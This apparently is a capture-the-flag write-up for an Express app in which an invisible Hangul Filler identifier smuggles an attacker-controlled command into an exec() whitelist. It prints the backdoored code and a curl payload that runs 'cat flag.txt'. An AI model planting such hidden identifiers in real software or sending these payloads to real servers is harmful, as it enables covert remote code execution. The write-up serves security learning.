Hidden Path
Check NSA Server Status — Command Injection via Unicode Variable Smuggling
Challenge Overview
The challenge is a simple Node.js/Express application called “Check NSA Server Status”. It presents the user with a form of radio buttons to select one diagnostic command from a set (free -m, uptime, iostat, mpstat, netstat, ps aux), which is then executed on the server and the output returned.
At first glance, the code appears secure against Command Injection, since it uses an array-index dispatch pattern instead of handling raw user input directly inside exec().
Source Code Analysis
Front-end
function submitCommand() {
const radios = document.forms['commandForm'].elements['command'];
let choiceIndex = -1;
for (let i = 0; i < radios.length; i++) {
if (radios[i].checked) {
choiceIndex = i;
break;
}
}
if (choiceIndex === -1) {
return false;
}
fetch('/server_status', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `choice=${encodeURIComponent(choiceIndex)}`
})
.then(response => response.text())
.then(data => {
document.getElementById('response').textContent = data;
})
.catch(error => {
console.error('Error:', error);
document.getElementById('response').textContent = 'Failed to fetch data';
});
return false;
}Nothing unusual here — the JS simply sends the selected index to the backend.
Back-end
const express = require('express');
const path = require('path');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.static('public'));app.get('/', async (req, res) => {
res.sendFile(path.join(__dirname, '/public/html/index.html'));
})app.post('/server_status', async (req, res) => {
const { choice,ㅤ} = req.body;
const integerChoice = +choice; if (isNaN(integerChoice)) {
return res.status(400).send('Invalid choice: must be a number');
} const commands = [
'free -m',
'uptime',
'iostat',
'mpstat',
'netstat',
'ps aux',ㅤ
]; if (integerChoice < 0 || integerChoice >= commands.length) {
return res.status(400).send('Invalid choice: out of bounds');
} exec(commands[integerChoice], (error, stdout) => {
if (error) {
return res.status(500).send('Error executing command');
}
res.status(200).send(stdout);
});
});app.listen(1337);
On first read, this code looks secure by design:
choiceis coerced to a number (+choice) before use.- An
isNaNcheck rejects any non-numeric value. - A bounds check (
< 0 || >= commands.length) prevents any out-of-range index. - The command that gets executed comes from a fixed array defined on the server, not directly from user input.
At a glance, this is a sound pattern — restricting the user to selecting an index into a whitelist of allowed commands, rather than supplying a free-form string.
Discovering the Real Vulnerability
The actual issue isn’t in the visible logic — it’s an invisible Unicode character planted in two places in the code:
const { choice,ㅤ} = req.body;const commands = [
'free -m',
'uptime',
'iostat',
'mpstat',
'netstat',
'ps aux',ㅤ
];That character is the Hangul Filler (U+3164), which is a valid JavaScript identifier character but is barely visible or completely invisible in most code editors and code viewers.
Why This Is Dangerous
- In the destructuring line:
const { choice, ㅤ } = req.body;This declares a variable named ㅤ that gets extracted from req.body, exactly like choice. So if the request includes a parameter whose name is that same Unicode character, its value gets assigned to the ㅤ variable.
Get Youssefelbakrey’s stories in your inbox
Join Medium for free to get updates from this writer.
In the array:
const commands = [ 'free -m', 'uptime', 'iostat', 'mpstat', 'netstat', 'ps aux', ㅤ // ← this is NOT just a trailing comma - it's a 7th array element! ];- The 7th element of the array is not a fixed string — it’s a reference to that same variable
ㅤ, sourced directly fromreq.body. This means:
- The real
commands.lengthis 7, not 6 as it visually appears. commands[6]equals a value fully controlled by the attacker, with zero validation or sanitization.
Impact
Since commands[6] gets passed directly to:
exec(commands[integerChoice], ...)sending:
choice=6sails right through the bounds check (6 < 7 = true), and the command that actually executes is the value of the hidden parameter we control — i.e., full Remote Code Execution.
Exploitation
Step 1: Identify the correct Unicode character
We need to use the exact same character (U+3164 - Hangul Filler) as the name of the second parameter in the POST body, otherwise the destructuring won't bind the value to the correct variable.
Its URL-encoded representation is:
%E3%85%A4Step 2: Build the payload
choice=6&%E3%85%A4=cat flag.txtchoice=6→ passes every validation check (a valid number, within the bounds of the real 7-element array).%E3%85%A4=cat flag.txt→ sets the value of the hidden variableㅤ, which is exactlycommands[6], tocat flag.txt.
Step 3: Send the request
curl -X POST http://<TARGET_IP>:<PORT>/server_status \
--data-raw 'choice=6&%E3%85%A4=cat flag.txt' \
-H "Content-Type: application/x-www-form-urlencoded"Result
The server executes:
exec('cat flag.txt', ...)and returns the contents of the flag file directly in the response.
Practical note: Any other command can be substituted for
cat flag.txt— e.g.id,whoami, or even a full reverse shell — since this injection point gives complete control over the string executed insideexec().





